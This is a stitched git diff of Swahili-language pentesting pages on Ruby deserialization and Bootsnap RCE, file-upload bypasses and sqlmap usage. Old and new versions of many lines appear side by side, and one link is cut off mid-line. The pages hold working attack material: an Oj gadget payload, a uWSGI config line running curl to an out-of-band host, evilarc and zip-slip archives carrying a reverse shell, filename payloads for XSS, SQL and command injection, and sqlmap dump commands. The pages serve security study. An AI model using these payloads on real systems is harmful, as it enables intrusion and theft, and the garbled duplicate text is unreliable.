Wakati wa kutuma mwili baadhi ya thamani zisizoweza kuhashiwa kama array zitaongezwa kwenye ufunguo mpya unaoitwa `_json`. Hata hivyo, inawezekana kwa mshambuliaji pia kuweka katika mwili thamani inayoitwa `_json` yenye thamani za kiholela anazotaka. Kisha, ikiwa backend kwa mfano inakagua ukweli wa parameter lakini pia inatumia parameter `_json` kufanya kitendo fulani, inaweza kufanyika kupita idhini.
Wakati wa kutuma mwili baadhi ya thamani zisizoweza kuhesabiwa kama array zitaongezwa kwenye ufunguo mpya unaoitwa `_json`. Hata hivyo, inawezekana kwa mshambuliaji pia kuweka katika mwili thamani inayoitwa `_json` yenye thamani za kiholela anazotaka. Kisha, Ikiwa backend kwa mfano inakagua ukweli wa parameter lakini kisha pia inatumia parameter `_json` kufanya kitendo fulani, kupita kwa idhini kunaweza kufanyika.
Angalia maelezo zaidi katika [ukurasa wa Ruby _json pollution](ruby-_json-pollution.md).
### Other libraries
Teknolojia hii ilichukuliwa [**kutoka kwenye chapisho la blogi hii**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Teknolojia hii ilichukuliwa [**kutoka kwenye chapisho hili la blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Kuna maktaba nyingine za Ruby ambazo zinaweza kutumika kuunda vitu na hivyo zinaweza kutumika vibaya kupata RCE wakati wa deserialization isiyo salama. Jedwali lifuatalo linaonyesha baadhi ya maktaba hizi na njia wanayoita ya maktaba iliyopakiwa kila wakati inapotolewa (kazi ya kutumia vibaya ili kupata RCE kimsingi):
Kuna maktaba nyingine za Ruby ambazo zinaweza kutumika kuunda vitu na hivyo zinaweza kutumika vibaya kupata RCE wakati wa deserialization isiyo salama. Jedwali lifuatalo linaonyesha baadhi ya maktaba hizi na njia wanayoita ya maktaba iliyopakiwa kila wakati inapokuwa haijaundwa tena (kazi ya kutumia ili kupata RCE kimsingi):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
Basic example:
Mfano wa msingi:
```ruby
# Existing Ruby class inside the code of the app
class SimpleClass
@ -888,7 +841,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Katika kesi ya kujaribu kutumia Oj, ilikuwa inawezekana kupata darasa la gadget ambalo ndani ya kazi yake ya `hash` litaita `to_s`, ambayo itaita spec, ambayo itaita fetch_path ambayo ilikuwa inawezekana kuifanya ipate URL ya nasibu, ikitoa detector bora wa aina hizi za udhaifu wa deserialization zisizo na usafi.
Katika kesi ya kujaribu kutumia Oj, ilikuwapo uwezekano wa kupata darasa la gadget ambalo ndani ya kazi yake ya `hash` litaita `to_s`, ambayo itaita spec, ambayo itaita fetch_path ambayo ilikuwapo uwezekano wa kufanya iweze kupata URL ya nasibu, ikitoa detector bora wa aina hizi za udhaifu wa deserialization zisizo na usafi.
```json
{
"^o": "URI::HTTP",
@ -922,6 +875,41 @@ Zaidi ya hayo, iligundulika kwamba kwa mbinu ya awali folda pia inaundwa katika
}
}
```
Angalia maelezo zaidi katika [**post ya asili**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
### Bootstrap Caching
Sio kweli udhaifu wa deserialization lakini ni hila nzuri ya kutumia bootstrap caching kupata RCE kutoka kwa programu ya rails kwa kuandika faili bila mpangilio (pata [post ya asili kamili hapa](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
- Identify the Vulnerability and Environment
Funguo la kupakia faili la programu ya Rails linamruhusu mshambuliaji kuandika faili bila mpangilio. Ingawa programu inafanya kazi kwa vizuizi (directories fulani kama tmp pekee ndizo zinazoweza kuandikwa kutokana na mtumiaji asiye mzizi wa Docker), hii bado inaruhusu kuandika kwenye directory ya Bootsnap cache (kawaida chini ya tmp/cache/bootsnap).
- Understand Bootsnaps Cache Mechanism
Bootsnap inaboresha nyakati za kuanzisha Rails kwa kuhifadhi faili za Ruby zilizokusanywa, YAML, na JSON. Inahifadhi faili za cache ambazo zinajumuisha kichwa cha funguo za cache (ikiwa na maeneo kama toleo la Ruby, ukubwa wa faili, mtime, chaguo za kukusanya, nk.) ikifuatiwa na msimbo ulio kusanywa. Kichwa hiki kinatumika kuthibitisha cache wakati wa kuanzisha programu.
- Gather File Metadata
Mshambuliaji kwanza huchagua faili lengwa ambayo ina uwezekano wa kupakiwa wakati wa kuanzisha Rails (kwa mfano, set.rb kutoka maktaba ya kawaida ya Ruby). Kwa kutekeleza msimbo wa Ruby ndani ya kontena, wanatoa metadata muhimu (kama RUBY_VERSION, RUBY_REVISION, ukubwa, mtime, na compile_option). Takwimu hii ni muhimu kwa kutengeneza funguo halali za cache.
- Compute the Cache File Path
Kwa kuiga mfumo wa hash wa FNV-1a 64-bit wa Bootsnap, njia sahihi ya faili la cache inapatikana. Hatua hii inahakikisha kuwa faili ya cache yenye uharibifu imewekwa mahali ambapo Bootsnap inatarajia (kwa mfano, chini ya tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File
Mshambuliaji anajiandaa na payload ambayo:
- Inatekeleza amri zisizo na mpangilio (kwa mfano, kuendesha id kuonyesha habari za mchakato).
- Inafuta cache yenye uharibifu baada ya kutekeleza ili kuzuia matumizi ya kurudi.
- Inapakia faili asili (kwa mfano, set.rb) ili kuepuka kuangusha programu.
Payload hii inakusanywa kuwa msimbo wa Ruby wa binary na kuunganishwa na kichwa cha funguo cha cache kilichojengwa kwa uangalifu (kwa kutumia metadata iliyokusanywa awali na nambari sahihi ya toleo kwa Bootsnap).
- Overwrite and Trigger Execution
Kwa kutumia udhaifu wa kuandika faili bila mpangilio, mshambuliaji anaandika faili ya cache iliyotengenezwa kwenye eneo lililohesabiwa. Kisha, wanachochea upya wa seva (kwa kuandika kwenye tmp/restart.txt, ambayo inafuatiliwa na Puma). Wakati wa upya, wakati Rails inahitaji faili lengwa, faili ya cache yenye uharibifu inapakuliwa, na kusababisha utekelezaji wa msimbo wa mbali (RCE).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -51,7 +51,7 @@ Other useful extensions:
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Utekelezaji wa payload unafanyika wakati wa kuchambua faili ya usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya ajali au kutokana na shambulio la Denial of Service) au faili lazima iwekwe kwenye auto-reload. Kipengele cha auto-reload, ikiwa kimewezeshwa, kinarejesha faili kwa vipindi vilivyotajwa wakati wa kugundua mabadiliko.
Utekelezaji wa payload unafanyika wakati wa uchambuzi wa faili la usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya ajali au kutokana na shambulio la Denial of Service) au faili lazima iwekwe kwenye auto-reload. Kipengele cha auto-reload, ikiwa kimewezeshwa, kinareload faili kwa vipindi vilivyotajwa baada ya kugundua mabadiliko.
Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili ya usanidi wa uWSGI. Kwa haswa, payload iliyozungumziwa inaweza kuingizwa kwenye faili ya binary (kama picha au PDF), ikipanua zaidi wigo wa uwezekano wa unyakuzi.
Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili la usanidi la uWSGI. Kwa haswa, payload iliyozungumziwa inaweza kuingizwa kwenye faili ya binary (kama picha au PDF), ikipanua zaidi wigo wa uwezekano wa unyakuzi.
## **wget File Upload/SSRF Trick**
Katika baadhi ya matukio unaweza kupata kwamba seva inatumia **`wget`** ili **kupakua faili** na unaweza **kuashiria** **URL**. Katika matukio haya, msimbo unaweza kuwa unakagua kwamba kiambatisho cha faili zilizopakuliwa kiko ndani ya orodha ya ruhusa ili kuhakikisha kwamba faili tu zilizoruhusiwa zitapakuliwa. Hata hivyo, **ukaguzi huu unaweza kupuuziliwa mbali.**\
Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** wahusika. Unaweza **kupakua faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**.
Katika baadhi ya matukio unaweza kupata kwamba seva inatumia **`wget`** ili **kushusha faili** na unaweza **kuashiria** **URL**. Katika matukio haya, msimbo unaweza kuwa unakagua kwamba kiambatisho cha faili zilizoshushwa kiko ndani ya orodha ya ruhusa ili kuhakikisha kwamba faili tu zilizoruhusiwa zitashushwa. Hata hivyo, **ukaguzi huu unaweza kupuuziliwa mbali.**\
Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** wahusika. Unaweza **kushusha faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,31 +156,31 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Kumbuka kwamba **chaguo lingine** unaloweza kufikiria ili kupita kipimo hiki ni kufanya **seva ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita kipimo hicho na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**.
Kumbuka kwamba **chaguo lingine** ambalo unaweza kufikiria ili kupita kipimo hiki ni kufanya **server ya HTTP irejeleze kwenye faili tofauti**, hivyo URL ya awali itapita kipimo hicho na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**.
## Zana
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Wavuvi wa Makosa katika kupima mifumo ya upakiaji faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mifumo ya kupakia faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti.
## Kutoka kwa Upakiaji wa Faili hadi Udhaifu Mwingine
- Weka **jina la faili** kuwa `../../../tmp/lol.png` na jaribu kufikia **path traversal**
- Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kufanikiwa kufikia **SQL injection**
- Weka **jina la faili** kuwa `<svg onload=alert(document.domain)>` ili kufikia XSS
- Weka **jina la faili** kuwa `; sleep 10;` ili kupima baadhi ya injection ya amri (zaidi ya [mbinu za injection za amri hapa](../command-injection.md))
- [**XSS** katika upakiaji wa faili ya picha (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** faili **upakiaji** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE katika upakiaji wa svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** kupitia upakiaji wa faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Weka **jina la faili** kuwa `; sleep 10;` ili kujaribu baadhi ya kuingilia amri (zaidi ya [mbinu za kuingilia amri hapa](../command-injection.md))
- [**XSS** katika picha (svg) ya kupakia faili](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** faili **kupakia** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** kupitia kupakia faili la svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/index.html). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
- [**XXE na CORS** bypass na upakiaji wa PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo ya kawaida kufuatia maelekezo yaliyotolewa.
- Pakia \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) maudhui ili kuangalia ikiwa seva ina **antivirus**
- Angalia ikiwa kuna **kikomo cha saizi** katika upakiaji wa faili
- Ikiwa unaweza **kuonyesha server ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/index.html). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
- [**XXE na CORS** bypass na PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo na mipaka kufuata maelekezo yaliyotolewa.
- Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa server ina **antivirus**
- Angalia ikiwa kuna **kikomo cha ukubwa** katika kupakia faili
Hapa kuna orodha ya mambo 10 unayoweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Hapa kuna orodha ya mambo 10 ambayo unaweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -206,13 +206,13 @@ https://github.com/portswigger/upload-scanner
Rejelea [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) kwa aina nyingine za faili.
### Zip/Tar Faili Zilizopakiwa Zitaondolewa Kiotomatiki
## Zip/Tar Faili Zilizopakiwa Zitaondolewa Kiotomatiki
Ikiwa unaweza kupakia ZIP ambayo itakuaondolewa ndani ya seva, unaweza kufanya mambo 2:
Ikiwa unaweza kupakia ZIP ambayo itachukuliwa ndani ya server, unaweza kufanya mambo 2:
#### Symlink
### Symlink
Pakia kiungo kinachokuwa na viungo laini kwa faili nyingine, kisha, kwa kufikia faili zilizondolewa utapata faili zilizounganishwa:
Pakia kiungo kinachokuwa na viungo vya laini kwa faili nyingine, kisha, ukifika kwenye faili zilizochukuliwa utapata faili zilizounganishwa:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -222,16 +222,16 @@ tar -cvf test.tar symindex.txt
Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita saraka wa muundo wa ZIP unaweza kutumika. Hii inaruhusu washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
Kiboko cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Chombo kinaweza kutumika kama inavyoonyeshwa:
Kiboko cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Zaidi ya hayo, **njia ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake.
Zaidi ya hayo, **mbinu ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake.
Hapa chini kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:
Hapa kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:
```python
#!/usr/bin/python
import zipfile
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Mabadiliko kwa kutumia Hex Editor au vi**: Majina ya faili ndani ya zip yanabadilishwa kwa kutumia vi au mhariri wa hex, kubadilisha "xxA" kuwa "../" ili kupita kwenye saraka.
3. **Mabadiliko kwa kutumia Hex Editor au vi**: Majina ya faili ndani ya zip yanabadilishwa kwa kutumia vi au mhariri wa hex, kubadilisha "xxA" kuwa "../" ili kupita kwenye directories.
```bash
:set modifiable
@ -289,7 +289,7 @@ pop graphic-context
```
## Kuunganisha PHP Shell kwenye PNG
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha ukubwa na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha saizi na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yake yanayoweza, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
@ -299,12 +299,20 @@ Taarifa zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza.
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Kawaida katika programu mbalimbali ni kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina mbalimbali za faili, inaweza kupita kwa siri vizuizi hivi.
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Praktiki ya kawaida katika programu mbalimbali inajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina mbalimbali za faili, inaweza kupita kwa siri vizuizi hivi.
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo ni mkali kuhusu upanuzi unaoruhusiwa, tu muundo wa polyglot unaweza kutosha kuhakikisha kupakia kwake.
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo unakuwa mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot peke yake huenda usitoshe kuhakikisha kupakia kwake.
Taarifa zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Pakia JSON halali kama vile ni PDF
Jinsi ya kuepuka kugundua aina ya faili kwa kupakia faili halali ya JSON hata kama hairuhusiwi kwa kudanganya faili ya PDF (mbinu kutoka **[hiki kipande cha blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` maktaba**: Kadri tu `%PDF` magic bytes ziko katika bytes 1024 za kwanza ni halali (pata mfano kutoka kwenye chapisho)
- **`pdflib` maktaba**: Ongeza muundo wa PDF wa uongo ndani ya faili ya JSON ili maktaba ifikirie ni PDF (pata mfano kutoka kwenye chapisho)
- **`file` binary**: Inaweza kusoma hadi bytes 1048576 kutoka faili. Unda tu JSON kubwa zaidi ya hiyo ili isiweze kuchambua maudhui kama JSON na kisha ndani ya JSON weka sehemu ya mwanzo ya PDF halisi na itafikiria ni PDF
## Marejeleo
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
@ -313,5 +321,6 @@ Taarifa zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Misingi ya hoja za SQLmap
## Msingi wa hoja za maelekezo kwa SQLmap
### Kawaida
```bash
@ -34,7 +34,7 @@
--passwords #Get passwords of users in DB
--privileges #Get privileges
```
#### Takwimu za DB
#### DB data
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -53,12 +53,12 @@ Kamata ombi na uunde faili ya req.txt
```bash
sqlmap -r req.txt --current-user
```
### Uingiliaji wa Ombi la GET
### GET Request Injection
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### Uingizaji wa Ombi la POST
### POST Request Injection
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
@ -80,9 +80,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
```bash
--string="string_showed_when_TRUE"
```
### Ongeza mbinu ya kugundua
Ikiwa umepata SQLi lakini sqlmap haikugundua, unaweza kulazimisha mbinu ya kugundua kwa kutumia args kama `--prefix` au `--suffix`, au ikiwa ni ngumu zaidi, kuiongeza kwenye payloads zinazotumika na sqlmap katika `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` kwa mfano kwa msingi wa muda kipofu.
### Eval
**Sqlmap** inaruhusu matumizi ya `-e` au `--eval` kuchakata kila payload kabla ya kuisafirisha na python oneliner. Hii inafanya iwe rahisi na haraka kuchakata kwa njia maalum payload kabla ya kuisafirisha. Katika mfano ufuatao **flask cookie session** **inasainiwa na flask kwa siri inayojulikana kabla ya kuisafirisha**:
**Sqlmap** inaruhusu matumizi ya `-e` au `--eval` kuchakata kila payload kabla ya kuisafirisha na python oneliner. Hii inafanya iwe rahisi na haraka kuchakata kwa njia maalum payload kabla ya kuisafirisha. Katika mfano ufuatao **flask cookie session** **imeandikwa na flask kwa siri inayojulikana kabla ya kuisafirisha**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
